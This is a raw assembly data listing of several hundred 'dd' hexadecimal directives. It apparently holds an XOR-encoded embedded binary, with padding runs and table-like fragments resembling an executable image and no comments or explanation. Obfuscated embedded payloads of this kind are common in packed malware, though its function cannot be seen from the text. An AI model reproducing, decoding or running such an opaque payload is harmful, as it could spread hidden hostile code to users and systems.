0F3BEE7E7h, 0F9F4FEF1h, 0F5E4F1F4h, 0F9E2F5E6h dd 0E2F5F9F6h, 0FDFFF3BEh, 0E7E7E7B3h, 0FEFFE0BEh, 0F3E3F9EAh dd 0BEE3FDF1h, 0B3FDFFF3h, 0BEE7E7E7h, 0FBFEF1F2h, 0FEF9F6FFh dd 0BEF1F9F4h, 0B3FDFFF3h, 0BEE7E7E7h, 0F1F2F3F9h, 0E2BEFBFEh dd 0E6F1B3E5h, 0F3F5F8F3h, 0E5E2BEFBh, 0E7E7E7B3h, 0FEF5E6BEh dd 0E3E2FFF4h, 0F5FDF1FEh, 0B3E3E7BEh, 0BEE7E7E7h, 0BEF2FDFBh dd 0E7B3E5E2h, 0FEBEE7E7h, 0F1FDE4F5h, 0E4E3F9F7h, 0F3BEE2F5h dd 0FBB3FDFFh, 0F1FBE6F1h, 0FEF5F3EAh, 0BEE2F5E4h, 0B3FDFFF3h dd 0BEE7E7E7h, 0F4FEF5E6h, 0FEE3E2FFh, 0BEF5FDF1h, 0FDB3E3E7h dd 0FCFEFFE9h, 0F1F5FEF9h, 0E5FFF3F3h, 0A2E3E4FEh, 0F2F2F1BEh dd 0F1FEE9F5h, 0FEFFF9E4h, 0F3BEFCF1h, 0FBE5BEFFh, 0FCFEFFB3h dd 0BDF5FEF9h, 0F9E3E5F2h, 0E3E3F5FEh, 0FFFCFCBEh, 0E4E3F4E9h dd 0F3BEF2E3h, 0FBE5BEFFh, 0E7E7E7B3h, 0FCFCF1BEh, 0F2F1F8F1h dd 0F1F2F4F1h, 0F3BEFBFEh, 0E7B3FDFFh, 0E2BEE7E7h, 0F3BEF3F2h dd 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h dd 0E7E7B3FDh, 0F8BEA1E7h, 0BEF3F2E3h, 0FBB3F1F3h, 0F5E2F2F7h dd 0F3E8F1FCh, 0BEF2E5FCh, 0E9B3E5E2h, 0FFF2FDF1h, 0EAF9F2BEh dd 0F4F9FBB3h, 0F2BDE3FFh, 0BEFBFEF1h, 0E7B3E5E2h, 0FCBEE7E7h dd 0F9F4F3F2h, 0E4F3F5E2h, 0E5F1FCBEh, 0E4FEF5E2h, 0F2FEF1F9h dd 0BEFBFEF1h, 0F2B3F1F3h, 0FCF3E2F1h, 0BEE3E9F1h, 0B3FDFFF3h dd 0F1E4FFE4h, 0F6E9FCFCh, 0F2F5F5E2h, 0F9FBFEF1h, 0F3BEF7FEh dd 0E7B3FDFFh, 0FEBEE7E7h, 0F3BEF3F2h, 0A3A5B3F1h, 0FBFEF1F2h dd 0FDFFF3BEh, 0E7E7E7B3h, 0FEF5E6BEh, 0E3E2FFF4h, 0F5FDF1FEh dd 0B3FEE6BEh, 0BEE7E7E7h, 0BDF2A2F2h, 0E3E5E2E4h, 0FFF3BEE4h dd 0E7E7B3FDh, 0F5E6BEE7h, 0E2FFF4FEh, 0FDF1FEE3h, 0E3E7BEF5h dd 0F5E0FFB3h, 0FEF1F2FEh, 0FFF3BEFBh, 0F1E4B3FDh, 0F5FEBDE4h dd 0F1F2E4F6h, 0E2BEFBFEh, 0F5E3B3E5h, 0F2F1FCF3h, 0B3E5E2BEh dd 0E5F3F5E3h, 0E9E4F9E2h, 0BEF2F1FCh, 0F6B3E5E2h, 0F1F8E4F5h dd 0F2BEF4E2h, 0F7B3EAF9h, 0E8FEFFE2h, 0FEF1FCE0h, 0BEE3E4F5h dd 0E6B3E5E2h, 0FFF4FEF5h, 0F1FEE3E2h, 0E6BEF5FDh, 7E7AB3FEh dd 3520057Ah, 687A5D3Dh, 736757Ah, 2001050Ch, 1A07051Bh dd 1161001h, 14011431h, 9B7A717Ah, 0EBE2E9F8h, 0B5A9A8EFh dd 7AF7F7FFh, 17747A71h, 40D06h, 105A4647h, 697A1818h dd 6341067Ah, 74734572h, 72686374h, 65697456h, 4F757563h dd 7A737A62h, 0E4FFDA8Dh, 0E4CBE8F9h, 6B7AE8E1h, 9BB9FE7Ah dd 8D97BA8Ah, 9B8CB895h, 9F8EAD9Bh, 7ABF9B9Dh, 0EEA97A6Ch dd 0C7ECDDCCh, 0C6DBC0DFh, 0C7CCC4C7h, 0DBDDFADDh, 0DACEC7C0h dd 7A697AE8h, 5B4A682Fh, 5B5C567Ch, 466B424Ah, 5B4C4A5Dh dd 6E565D40h, 707A767Ah, 24041537h, 20001D15h, 31180411h dd 0FF7A727Ah, 8D8B8C93h, 0A8919A93h, 0C67A747Ah, 8AB2A381h dd 0AAA7A5A9h, 0A0A88FA3h, 777A87A9h, 0D2F0B77Ah, 0DEC5F3C3h dd 0CEE3D2C1h, 7AF6D2C7h, 0BFFC7A71h, 998F9390h, 98929DB4h dd 747A9990h, 0B98FDC7Ah, 0B0B59AA8h, 0B5B38CB9h, 0AEB9A8B2h dd 5B7A767Ah, 3F3A3417h, 29393217h, 1A22293Ah, 477A777Ah dd 1D2B3315h, 0A283522h, 35282A22h, 7A7D7A3Eh, 23241A4Dh dd 2E283508h, 0C47A707Ah, 0B0ADBC81h, 0A1B6AC90h, 6E7AA0A5h dd 43642D7Ah, 415F4859h, 48464E42h, 4E436449h, 4840485Fh dd 777A5943h, 2C03457Ah, 200B212Bh, 2C03313Dh, 7A042029h dd 0F0B77A77h, 0CEE4C3D2h, 0DAD2C3C4h, 0D2DADEE3h, 657A767Ah dd 31110022h, 260E060Ch, 110B100Ah, 0B77A6A7Ah, 0FAC3D2F0h dd 0DBC2D3D8h, 0D9D6FFD2h, 0F6D2DBD3h, 5D7A717Ah, 292F340Bh dd 1B313C28h, 7A38382Fh, 5A197A71h, 6D787C6Bh, 75705F7Ch dd 707A587Ch, 0F7C8877Ah, 0F2CAE9E2h, 0C6FFE2F3h, 0FE7A717Ah dd 0B88A9BB9h, 0AD9B9297h, 7A9B8497h, 7417A71h, 0D242433h dd 20332328h, 767A3833h, 0E2DD8B7Ah, 0EAFEFFF9h, 0E7E7CAE7h dd 6A7AE8E4h, 3614537Ah, 3E3C1027h, 36272623h, 3E321D21h dd 717A1236h, 3C034C7Ah, 3E1C2229h, 3F292F23h, 7A6D7A3Fh dd 0F3E4D096h, 0E0F8D3F3h, 0F8F9E4FFh, 0E2F8F3FBh, 0FFE4E2C5h dd 0D7E5F1F8h, 0C17A747Ah, 0A5AFA887h, 0B2B3A887h, 0ADA887B5h dd 767A80A4h, 0B584C77Ah, 0A2B3A6A2h, 0A2B3B28Ah, 6E7A86BFh dd 0A582CB7Ah, 0A7B9AEBFh, 0AEA0A8A4h, 0A8AE8FAFh, 0AEA6AEB9h dd 6E7ABFA5h, 0E7C88E7Ah, 0E7DAEBE2h, 0E1DAEBE3h, 0FAFDF7DDh dd 0E7DAE3EBh, 777AEBE3h, 94B6F17Ah, 8394A785h, 9F9E9882h dd 7AB089B4h, 793A7A73h, 7C434A55h, 7B5F5653h, 0E57A6F7Ah dd 0B39180A2h, 8890898Ah, 838BAC80h, 8488978Ah, 8B8A8C91h dd 7A727AA4h, 5E5A6D3Fh, 5356795Bh, 7A697A5Ah, 8E83BDEAh dd 8B82A98Fh, 0A785BE98h, 839E869Fh, 8F9E93A8h, 747A757Ah dd 4191B37h, 32110615h, 2011181Dh, 7A11191Dh, 6C2B7A6Bh dd 536E5F4Eh, 44685F42h dd 437F4E4Fh, 4F4A4E59h, 717A697Ah, 51D043Ch, 5083318h dd 261E2514h, 32141518h, 7A031019h, 0C78B7A73h, 0E7EAE8E4h dd 0EEEEF9CDh, 0F57A697Ah, 819C94A2h, 0A6879AB3h, 99929B9Ch dd 9F97BA90h, 7A819690h, 7D3A7A68h, 55774E5Fh, 5F564F5Eh dd 5F56537Ch, 5F575B74h, 7A717A7Bh, 444D6C28h, 6E4D5C4Dh dd 694D4441h, 877A767Ah, 0C2F3E2D4h, 0F5E8F5F5h, 0E2E3E8CAh dd 0CB7A737Ah, 0AFA5A28Dh, 0B8A4A788h, 7A707AAEh, 5B577438h dd 54795459h, 7A5B5754h, 0A4E37A68h, 96A09786h, 8D869191h dd 918BB797h, 0AA878286h, 7A7C7A87h, 53265B7Eh, 7A5F265Bh dd 0F2AE7A7Dh, 0CA8084DEh, 7C7AC2C2h, 2A2D5E7Ah, 2A3F3D2Ch dd 0B7A7C7Ah, 68666E66h, 727A727Bh, 7570067Ah, 686F7476h dd 7D7A6072h, 5D5E2D7Ah, 5943445Fh, 7A7D7A4Bh, 908A91E5h dd 97809595h, 6C7A7E7Ah, 503180Dh, 0C27A7C7Ah, 0AEAEA3AFh dd 7F7AA1ADh, 7475067Ah, 7A626867h, 1D427A7Ch, 27272E31h dd 7A7E7A32h, 0BAADB9DFh, 7A7E7ABAh, 939C8FFDh, 7A7C7A99h dd 0FFF7FF92h, 7AE2FFF1h, 0BCCF7A7Ch, 0BFACBDBBh, 7A7C7AB6h dd 0FFF7FF92h, 7AE6F7E1h, 0C0A37A70h, 0CFC7D7D1h, 0CFC78DCFh dd 7A707ACFh, 0F7F1E083h, 0ADEFEFE7h, 7AEFEFE7h, 7AE47A7Ah dd 54717A7Fh, 2542D02h, 877A7F7Ah, 0A2DBF4A2h, 7A7E7AF4h dd 5E712702h, 7A7E7A28h, 79206643h, 7A6E7A1Fh, 0BA9D9ECEh dd 8DABBCA1h, 0BAAFABBCh, 0BDA087ABh, 0ADA0AFBAh, 7A717AABh dd 3B3C3F4Fh, 2C2A3D20h, 23232B61h, 197A717Ah, 766D6A69h dd 377A7C6Bh, 7A75757Dh, 0CAA17A7Ch, 0D78CD0CAh, 7A727AD9h dd 0C6EABC99h, 0BCE1EDF4h, 7A6B7AECh, 0D2C8EFA6h, 0C3C8D4C3h dd 0DEE386D2h, 0D4C9CAD6h, 6A7AD4C3h, 9289DA7Ah, 9CAEBF9Dh dd 0BFBEB6B5h, 0AEBB8AA8h, 717A9BB2h, 607B087Ah, 3B64646Dh dd 646C263Ah, 7A717A64h, 414C5724h, 16174848h, 4848400Ah dd 437A7B7Ah, 7A7F7A1Fh, 0F0F5BF91h, 6C7AF0E5h, 7F50137Ah dd 3378707Ah, 76707D5Ch, 337C4733h, 677D7C50h, 76667D7Ah dd 937A7C7Ah, 0C7C7C6D1h, 647ADDDCh, 34296C7Ah, 2D3E253Ch dd 22232538h, 382D284Ch, 66666629h, 4C21382Dh, 4C22253Ch dd 2928232Fh, 697A7C7Ah, 3D283D3Ah, 7A7A2A20h, 7E7A6A7Ah dd 6766237Ah, 7C7A776Ah, 0C0E3C7Ah, 490E1219h, 0E07A7E7Ah dd 95D2CEC5h, 0C27A7A7Ah, 37A727Ah, 414E4C40h, 5B4C414Ch dd 3C7A7A7Ah, 0C97A727Ah, 8B84868Ah, 91868B86h, 477A7C7Ah dd 13061314h, 147A040Eh, 457E2B7Ah, 4E47494Ah, 0B445F0Bh dd 435F5E4Ah, 51425944h, 0E21054Eh, 595B0B58h, 584E4844h dd 4C454258h, 454E480Bh, 0B594E5Fh, 5E0B5842h, 47494A45h dd 445F0B4Eh, 5F5E4A0Bh, 42594443h, 520B4E51h, 0B595E44h dd 4F594A48h, 5580E0Bh, 404A6621h, 44480B4Eh, 484E5959h dd 4544425Fh, 454A0B58h, 595F0B4Fh, 4C4A0B52h, 545424Ah dd 9C7A707Ah, 0E8EFFDD1h, 0FDDFEEF9h, 7E7AF8EEh, 8996C07Ah dd 7B7A8193h, 7A1D3D7Ah, 0B1E27A7Ch, 0ABB6A3B6h, 7A6F7AA1h dd 9092329h, 667B7909h, 7A7A6C6Ah, 96E6760h, 6560686Fh dd 7C7A6D6Ch, 0C1C6957Ah, 0D6DCC1D4h, 417A7A7Ah, 0D87A7C7Ah dd 8C998C8Bh, 7C7A9B91h, 75751E7Ah, 6668336Fh, 637A727Ah dd 0F131B26h, 1106110Ch, 0BB7A737Ah, 0F4D8D4FFh, 0D8DED1D9h dd 7A747ACFh, 8281B4E0h, 848E89B7h, 8CA3978Fh, 7A939381h dd 7A555540h, 0DA23087Ah, 0B58CD2E1h, 7A38DE6Bh, 0F570B3DAh dd 3B7C9A43h, 0AA43E084h, 7AF6DE6Bh, 0F570B3DAh, 0DD6FDA43h dd 0AA1FFD4Eh, 7A30E86Bh, 0D6BDD55Ah, 2A882137h, 0B5E2CF4Ah dd 7AF8C16Bh, 0B4C77AD0h, 0ECC8FE71h, 60C0CECBh, 7AE6CC6Ah dd 674E7AD0h, 787E7A7Dh, 7A7A7A7Ah, 7A7ABA7Ah, 7A7A7A7Ah dd 563E5F3Ch, 0AA5CB149h, 7AF9CE6Bh, 7BA335BAh, 2A886563h dd 0B5E2CF4Ah, 7AF8C16Bh, 0B4C77AD0h, 2A8B8571h, 0B5E2CF4Ah dd 7AF8C16Bh, 0B4C77AD0h, 2A8B8D71h, 0B5E2CF4Ah, 7AF8C16Bh dd 0B4C77AD0h, 2A883A71h, 0B5E2CF4Ah, 7AF8C16Bh, 0B4C77AD0h dd 563E5D71h, 0AA5CB149h, 7AF9CE6Bh, 7BA335BAh, 0B1137A63h dd 0B537EFFFh, 7A76EC6Bh, 948EBDFAh, 7A7A7AFFh, 7A7A7A7Ah dd 7A7ABA7Ah, 7A7A7A7Ah, 766C1B3Ch, 0AAB7D5A9h, 7A44F06Bh dd 98B335BAh, 7A7A7A14h, 51h dup(7A7A7A7Ah), 6BDA0A7Ah dd 2 dup(7A7A7A7Ah), 6BDBFE7Ah, 6BDAD67Ah, 6BDAFE7Ah, 2 dup(7A7A7A7Ah) dd 6BDBDA7Ah, 6BDABA7Ah, 12h dup(7A7A7A7Ah), 6BDA927Ah dd 6BDA827Ah, 6BDB6E7Ah, 2 dup(7A7A7A7Ah), 6BDB5A7Ah, 6BDB567Ah dd 6BDB3A7Ah, 6BDB367Ah, 6BDB227Ah, 6BDB1E7Ah, 6BDB167Ah dd 6BDB027Ah, 2 dup(7A7A7A7Ah), 6BDA927Ah, 6BDA827Ah, 6BDB6E7Ah dd 2 dup(7A7A7A7Ah), 6BDB5A7Ah, 6BDB567Ah, 6BDB3A7Ah, 6BDB367Ah dd 6BDB227Ah, 6BDB1E7Ah, 6BDB167Ah, 6BDB027Ah, 2 dup(7A7A7A7Ah) dd 3F7AE17Ah, 2A0E1302h, 1F191508h, 7A7A0909h, 3D7B5E7Ah dd 143F0E1Fh, 1508130Ch, 141F1714h, 80E290Eh, 91D1413h dd 7A7A7A3Bh, 2878027Ah, 142F160Eh, 1E14130Dh, 257AFA7Ah dd 0A151E1Ch, 7A7A141Fh, 257B357Ah, 141F0A15h, 1C091525h dd 1E141B12h, 7A7A1F16h, 1C78777Ah, 9151619h, 7A7A7A1Fh dd 257A437Ah, 13021F19h, 7A7A7A0Eh, 1778347Ah, 1516161Bh dd 7A7A7A19h, 8781A7Ah, 1F09131Bh, 9781D7Ah, 0F180E1Fh dd 7A7A7A1Ch, 9780F7Ah, 0A19080Eh, 7A7A7A03h, 283F317Ah dd 49363F34h, 161E5448h, 7A7A7A16h, 6BDA7A7Ah, 2 dup(6BDA7A6Ah) dd 2E28396Ah, 5436363Eh, 7A36363Eh, 6BDA6E7Ah, 7 dup(6BDA6E6Ah) dd 7A7A7A6Ah, 0Dh dup(7A7A7A7Ah), 7A7A5A7Ah, 7A7A7A7Ah dd 7A7A5A7Ah, 7A6A7A7Ah, 7A927A7Ah, 7A8A7A7Ah, 7B567A7Ah dd 78h dup(7A7A7A7Ah), 7A6A7A7Ah, 7A7B967Ah, 0F64A4B7Ah dd 874A894Ah, 694B7F4Ah, 5B4B634Bh, 0CC4B5D4Bh, 864B954Bh dd 74487B4Bh, 59486948h, 44485348h, 1848CE48h, 0F491149h dd 0D349FD49h, 0C449CF49h, 6B49BD49h, 4B4E614Eh, 2F4E394Eh dd 94E254Eh, 0F14E034Eh, 0C94EE54Eh, 0B44EC04Eh, 924EAF4Eh dd 844E954Eh, 6C4F7E4Eh, 4E4F5A4Fh, 224F3C4Fh, 0F4F254Fh dd 0D14FFD4Fh, 0A84FB24Fh, 964FA74Fh, 624F854Fh, 574C5C4Ch dd 3F4C434Ch, 104C374Ch, 4C0E4Ch, 0E44CED4Ch, 0BD4CC24Ch dd 9E4CAA4Ch, 804C904Ch, 684D7E4Ch, 3B4D624Dh, 284D3C4Dh dd 1D4D234Dh, 0FA4D0E4Dh, 0CB4DEF4Dh, 8A4DA04Dh, 814D8C4Dh dd 64427F4Dh, 4B425942h, 3D423A42h, 4420E42h, 0C842E042h dd 9B42BE42h, 77429542h, 5B436943h, 4F435D43h, 2C433F43h dd 16432643h, 0F143FE43h, 0D443DE43h, 0B943C343h, 9D43B643h dd 86438B43h, 67407643h, 4D405E40h, 20404440h, 13401A40h dd 0F9400740h, 0D140DB40h, 0B340CC40h, 0A140B540h, 91409B40h dd 7A408040h, 6A417041h, 5B416D41h, 47414241h, 21413741h dd 3411341h, 0F441FC41h, 0DC41EE41h, 0C341D641h, 0B341C541h dd 9C419A41h, 72418A41h, 69467746h, 46465846h, 0F462E46h dd 0F1460046h, 0DB46EB46h, 0C746CD46h, 0A246B446h, 8646A546h dd 76477846h, 65476347h, 42474847h, 33473947h, 18472847h dd 15471347h, 0FB470047h, 0E947F347h, 0D547D047h, 0AA47C547h dd 92479B47h, 70447E47h, 64446244h, 49445344h, 20442A44h dd 0D440844h, 0E144FD44h, 0CE44D844h, 0AE44B444h, 9D449A44h dd 8D448A44h dd 72457A44h, 57457545h, 35454D45h, 21452E45h, 0F0451545h dd 0E645EC45h, 0C545C345h, 0AC45BE45h, 81459045h, 7A5A7A45h dd 7A7BF27Ah, 5B4A787Ah, 464A5D4Ah, 264A364Ah, 94A174Ah dd 0F34AF94Ah, 0D34AD94Ah, 0C64AC94Ah, 0B44AB94Ah, 8D4AAE4Ah dd 6C4B754Ah, 434B494Bh, 344B444Bh, 154B254Bh, 0F54B0F4Bh dd 0E44BEF4Bh, 0C84BD64Bh, 0B34BC74Bh, 974B994Bh, 73487E4Bh dd 57486348h, 39484748h, 19482748h, 6481748h, 0EB48F148h dd 0C648E548h, 0B648B848h, 78489E48h, 5E497249h, 4D495049h dd 28494649h, 0E492249h, 0FD490049h, 0D849F649h, 0BE49D249h dd 0AD49B049h, 8849A649h, 6E498249h, 5D4E604Eh, 384E564Eh dd 264E324Eh, 0D4E184Eh, 0E74EFB4Eh, 0CC4ED34Eh, 0B34EC44Eh dd 824EA34Eh, 394F694Eh, 344F334Fh, 104F194Fh, 0F04FF94Fh dd 0D04FD94Fh, 934FB94Fh, 774C7F4Fh, 594C624Ch, 4B4C504Ch dd 214C3F4Ch, 0FB4C014Ch, 0DD4CEB4Ch, 0B44CCB4Ch, 644D624Ch dd 304D474Dh, 104D2A4Dh, 0EF4DF44Dh, 0BD4DD44Dh, 584DB44Dh dd 1E422C42h, 7421542h, 0DA431F42h, 0BC43C843h, 0A043B643h dd 0E440E243h, 0B740BD40h, 76417E40h, 21412E41h, 1411141h dd 0E641F641h, 0C841D641h, 3A41B841h, 26462C46h, 0B046BE46h dd 53477746h, 0F1475547h, 0DE47EE47h, 0A547D147h, 8D479647h dd 5E447047h, 48445144h, 0E7441444h, 0D044D944h, 9A44A044h dd 85448344h, 66456944h, 7455045h, 0E545F945h, 0BA45CC45h dd 8B45AA45h, 7A458445h, 7A4A7A7Ah, 7A7BEE7Ah, 554A637Ah dd 0D4A164Ah, 834A944Ah, 684B7A4Ah, 444B544Bh, 284B3E4Bh dd 0F84B0D4Bh, 0E14BF34Bh, 0C94BDB4Bh, 0B14BBF4Bh, 0A54BA34Bh dd 834B944Bh, 6448794Bh, 1E485348h, 2480B48h, 0E848F848h dd 6C489248h, 10494949h, 0DE49E749h, 544E6E49h, 234E4E4Eh dd 34E084Eh, 0E04EE94Eh, 0B04ECE4Eh, 3E4EAC4Eh, 74F304Fh dd 6E4C774Fh, 564C594Ch, 0F84C4F4Ch, 534CF34Ch, 3A4D554Dh dd 1A4D2B4Dh, 0FB4D0F4Dh, 0DA4DF54Dh, 0CD4DDC4Dh, 0BD4DBB4Dh dd 71427F4Dh, 4A426442h, 3A424C42h, 1C423C42h, 4420D42h dd 0E042EE42h, 0CD42CB42h, 0B442B242h, 7B429F42h, 66436F43h dd 10434943h, 0EB430543h, 0BC43E043h, 8E43AC43h, 6E438143h dd 45405740h, 2F403240h, 0E402440h, 0E6400540h, 0CB40D240h dd 0AA40B940h, 96409940h, 71417940h, 6D416B41h, 3E415B41h dd 22413041h, 1F412441h, 0E5411641h, 0CE41DD41h, 0B941C041h dd 0AE41B341h, 8D41A041h, 59466741h, 46464A46h, 28463946h dd 0F2460246h, 0E446F446h, 0C746DE46h, 0AC46B946h, 96469C46h dd 77468446h, 59476947h, 44475047h, 21473E47h, 8471E47h dd 0FD470647h, 0EC47F747h, 0D947E747h, 0C747CD47h, 0B747BD47h dd 5847A947h, 3B444A44h, 28443D44h, 1F442544h, 0FB441544h dd 0CB44E944h, 0AA44C444h, 68457344h, 40456045h, 22453A45h dd 0B451B45h, 0F5450D45h, 7A45DE45h, 7A3A7A7Ah, 7A7BA67Ah dd 694A7E7Ah, 554A634Ah, 394A474Ah, 1D4A234Ah, 0F94A174Ah dd 0DF4AE84Ah, 0AE4AD04Ah, 974AA54Ah, 784A814Ah, 554B5B4Bh dd 254B404Bh, 0CD4BD44Bh, 6B4BBA4Bh, 1C485648h, 0F2481648h dd 0D348F548h, 0BD48BB48h, 8D48A548h, 62497148h, 58496749h dd 4E495349h, 32494149h, 28493749h, 1F492549h, 0A2491049h dd 91499F49h, 724E7849h, 524E614Eh, 3F4E444Eh, 1D4E244Eh dd 0EB4E0E4Eh, 0D54EE44Eh, 0B04EBB4Eh, 944E9F4Eh, 814E8F4Eh dd 764F7A4Eh, 614F684Fh, 524F584Fh, 334F574Fh, 1F4F244Fh dd 0FE4F044Fh, 0BD4FBB4Fh, 3F4F9C4Fh, 0FD4CFB4Ch, 0C94CD24Ch dd 0A74CBD4Ch, 724C9E4Ch, 484D504Dh, 294D304Dh, 0FB4D014Dh dd 0ED4DF44Dh, 0C34DD94Dh, 0B54DC54Dh, 8F4D934Dh, 5642684Dh dd 3423142h, 0C0420542h, 0A042BC42h, 7B428142h, 53436C43h dd 35435543h, 9432F43h, 0F6430343h, 0E643EF43h, 0B043D843h dd 0A343AA43h, 73438343h, 61406C40h, 50405B40h, 47404B40h dd 0D240D940h, 0B740C940h, 3E414640h, 21413441h, 10411B41h dd 4410241h, 0E241EB41h, 0BB41C241h, 9B41B441h, 6E467741h dd 59466046h, 48465346h, 31464446h, 26462D46h, 0F9461946h dd 0EE46F146h, 0C546DE46h, 9D46AC46h, 7F469446h, 5F477547h dd 4D474847h, 39474647h, 2F473447h, 1D471847h, 3471647h dd 0FE470547h, 0E147EF47h, 0C047D047h, 0B047B947h, 9A47A047h dd 95479347h, 6B478547h, 51446244h, 34444644h, 11441F44h dd 0EE440F44h, 0BB44D044h, 9044B444h, 84448D44h, 46454D44h dd 1C452A45h, 0FD450845h, 0E045EE45h, 0CB45DD45h, 0B645BF45h dd 9E45A245h, 81458F45h, 7A2A7A45h, 7A78167Ah, 5B4A687Ah dd 2E4A4D4Ah, 0D44A0B4Ah, 0A54AB84Ah, 544B524Ah, 384B4D4Bh dd 2F4B334Bh, 1E4B254Bh, 0FF4B084Bh, 0E14BEB4Bh, 0C24BD64Bh dd 0AC4BBE4Bh, 924BA54Bh, 874B8C4Bh, 6948734Bh, 5C485B48h dd 1D485648h, 0D481748h, 0E148EF48h, 0B048CE48h, 8A489C48h dd 7B488D48h, 6C497249h, 5C496649h, 40495649h, 1F493A49h dd 0FB490049h, 0DC49E349h, 0CA49D149h, 0BA49C349h, 0A849B749h dd 9D49AD49h, 86499649h, 6B4E7B49h, 5C4E6C4Eh, 414E514Eh dd 2A4E3A4Eh, 1F4E2F4Eh, 4E104Eh, 0F54E054Eh, 0DE4EEE4Eh dd 0C34ED34Eh, 0B44EC44Eh, 994EA94Eh, 814E924Eh, 614F6F4Eh dd 4B4F5E4Fh, 3B4F4D4Fh, 204F2F4Fh, 0FE4F174Fh, 0C64FF14Fh dd 964FB34Fh, 864F884Fh, 704C794Fh, 674C6C4Ch, 4D4C514Ch dd 3D4C474Ch, 114C1F4Ch, 0E24CF04Ch, 0BC4CE44Ch, 0A64CAC4Ch dd 7C4C8B4Ch, 5C4D6E4Dh, 3B4D414Dh, 0DE4D284Dh, 0C34DCE4Dh dd 0B44DB34Dh, 994DA44Dh, 824D894Dh, 7742724Dh, 58426742h dd 4D424842h, 36423D42h, 1B422642h, 0C420B42h, 0F142FC42h dd 0DA42E142h, 0CF42CA42h, 0B042BF42h, 0A542A042h, 8E429542h dd 73437E42h, 64436343h, 49435443h, 32433943h, 27432243h dd 8431743h, 0FD43F843h, 0E643ED43h, 0CB43D643h, 0BC43BB43h dd 0A143AC43h, 8A439143h, 7F407A43h, 60406F40h, 55405040h dd 3E404540h, 23402E40h, 14401340h, 0F9400440h, 0E240E940h dd 0D740D240h, 0B840C740h, 0AD40A840h, 96409D40h, 7B408640h dd 6C416B41h, 51415C41h, 3A414141h, 2F412A41h, 10411F41h dd 5410041h, 0EE41F541h, 0C241D041h, 0B241C441h, 0A241A841h dd 91419B41h, 80418841h, 76467D41h, 60466B46h, 54465B46h dd 42464946h, 31463F46h, 0C462A46h, 0AB46EA46h, 0A446A246h dd 58469E46h, 40475D47h, 0FA473E47h, 0AF47B547h, 9447A447h dd 71447947h, 66446C44h, 29445C44h, 5442344h, 0D944E044h dd 0CA44D344h, 0C744C244h, 0AB44BF44h, 9C44A144h, 82448B44h dd 62456844h, 57456445h, 3E454F45h, 2E453045h, 13451945h dd 0F8450F45h, 0DE45F345h, 0CE45D045h, 0B245B845h, 9845AF45h dd 88459345h, 7A458345h, 7A1A7A7Ah, 7A78727Ah, 734A797Ah dd 594A614Ah, 414A4B4Ah, 2E4A3D4Ah, 0E4A144Ah, 0DB4AF94Ah dd 0C64ACE4Ah, 0A24ABE4Ah, 824AA44Ah, 724B7A4Ah, 654B754Bh dd 94B454Bh, 0F74B034Bh, 0E74BEF4Bh, 0CF4BD04Bh, 0BD4BBA4Bh dd 914BA24Bh, 6048684Bh, 24483848h, 4481048h, 0E848F948h dd 0CC48E048h, 0B148B848h, 9048A048h, 84489548h, 5C495A48h dd 2A494E49h, 15491049h dd 0D1490449h, 0BE49C849h, 9B49A949h, 7C498749h, 444E554Eh dd 0CE4E124Eh, 0A24EC14Eh, 754F734Eh, 494F5A4Fh, 2D4F3E4Fh dd 34F124Fh, 0DA4FE04Fh, 0CA4FD34Fh, 0B24FC74Fh, 924FA44Fh dd 804F894Fh, 744C734Fh, 5C4C614Ch, 474C574Ch, 334C384Ch dd 134C264Ch, 14C0F4Ch, 0F44CF34Ch, 0D14CE54Ch, 0B84CC84Ch dd 0AC4CB34Ch, 944C924Ch, 744C864Ch, 5A4D6D4Dh, 434D5D4Dh dd 294D454Dh, 104D204Dh, 0FE4D044Dh, 0D64DDC4Dh, 0AA4DB34Dh dd 734DA54Dh, 60427542h, 51425A42h, 47424D42h, 26422A42h dd 0FA421642h, 0EF42FC42h, 0DC42E142h, 0C642D542h, 0AA42B042h dd 9142A142h, 78428F42h, 66437743h, 4B435843h, 3F434243h dd 24432843h, 15431E43h, 0FB430243h, 0DE43E443h, 0BF43C443h dd 9343A443h, 62407043h, 4F405840h, 26404140h, 14401F40h dd 0F4400D40h, 0D440EF40h, 0B440CF40h, 9440AF40h, 61416940h dd 32414B41h, 20412E41h, 0D411641h, 0F741FB41h, 0C841E541h dd 0A341B441h, 6C41A541h, 4B466746h, 35463C46h, 25462346h dd 4460F46h, 0E246F546h, 0C946D046h, 0BC46C646h, 0A446A846h dd 80469D46h, 69477346h, 18475847h, 0C6470547h, 9747AA47h dd 20445647h, 14441244h, 0AB440C44h, 0A544A344h, 95449F44h dd 6A448F44h, 57455E45h, 3A454045h, 13453F45h, 0F245FB45h dd 0E145F445h, 0D545DE45h, 0A945CF45h, 9D45A045h, 7A459745h dd 7A0A7A7Ah, 7A7BA67Ah, 634A717Ah, 334A594Ah, 0F4A354Ah dd 944AC94Ah, 474A8F4Ah, 0E94B2D4Bh, 0C34BDC4Bh, 0AC4BAA4Bh dd 8B4B914Bh, 5A487C4Bh, 2C485D48h, 0E548F648h, 0CD48D648h dd 0AC48B948h, 8B489148h, 79488C48h, 74497349h, 5B496149h dd 49495C49h, 44494349h, 0F8490649h, 0DD49E949h, 0C749D749h dd 0AF49B949h, 8F499449h, 564E7249h, 364E484Eh, 184E284Eh dd 74E0D4Eh, 0D54ED34Eh, 0B04EB94Eh, 9C4EA44Eh, 394F414Eh dd 2D4F374Fh, 164F1C4Fh, 0FE4F0F4Fh, 0EC4FEA4Fh, 0D14FDE4Fh dd 0B94FC14Fh, 8C4F984Fh, 7B4F814Fh, 644C7D4Ch, 414C4C4Ch dd 294C344Ch, 0F4C244Ch, 0CA4CD14Ch, 0B14CB94Ch, 7F4CAB4Ch dd 674D704Dh, 514D5F4Dh, 354D384Dh, 0EA4D264Dh, 0D44DEC4Dh dd 0BB4DC24Dh, 0B64DBC4Dh, 0A14DAC4Dh, 854D934Dh, 6342754Dh dd 3E425E42h, 11422142h, 0EE420B42h, 0A842C942h, 32434542h dd 17433443h, 0D743F243h, 0BC43C543h, 0A443B443h, 56438343h dd 41404840h, 31403840h, 0F402440h, 0F2400140h, 0EC40F540h dd 0B940D440h, 8340AE40h, 4D417A40h, 0FA410041h, 0D441ED41h dd 0A641AC41h, 12467B41h, 0A7461546h, 84469446h, 66477746h dd 50475E47h, 46474A47h, 25472C47h, 0C471347h, 0EA47F947h dd 0DA47E247h, 0C047DD47h, 0B547B847h, 0A547A247h, 88479747h dd 79478747h, 66446B44h, 5D445B44h, 46444A44h, 33443B44h dd 22443544h, 17442544h, 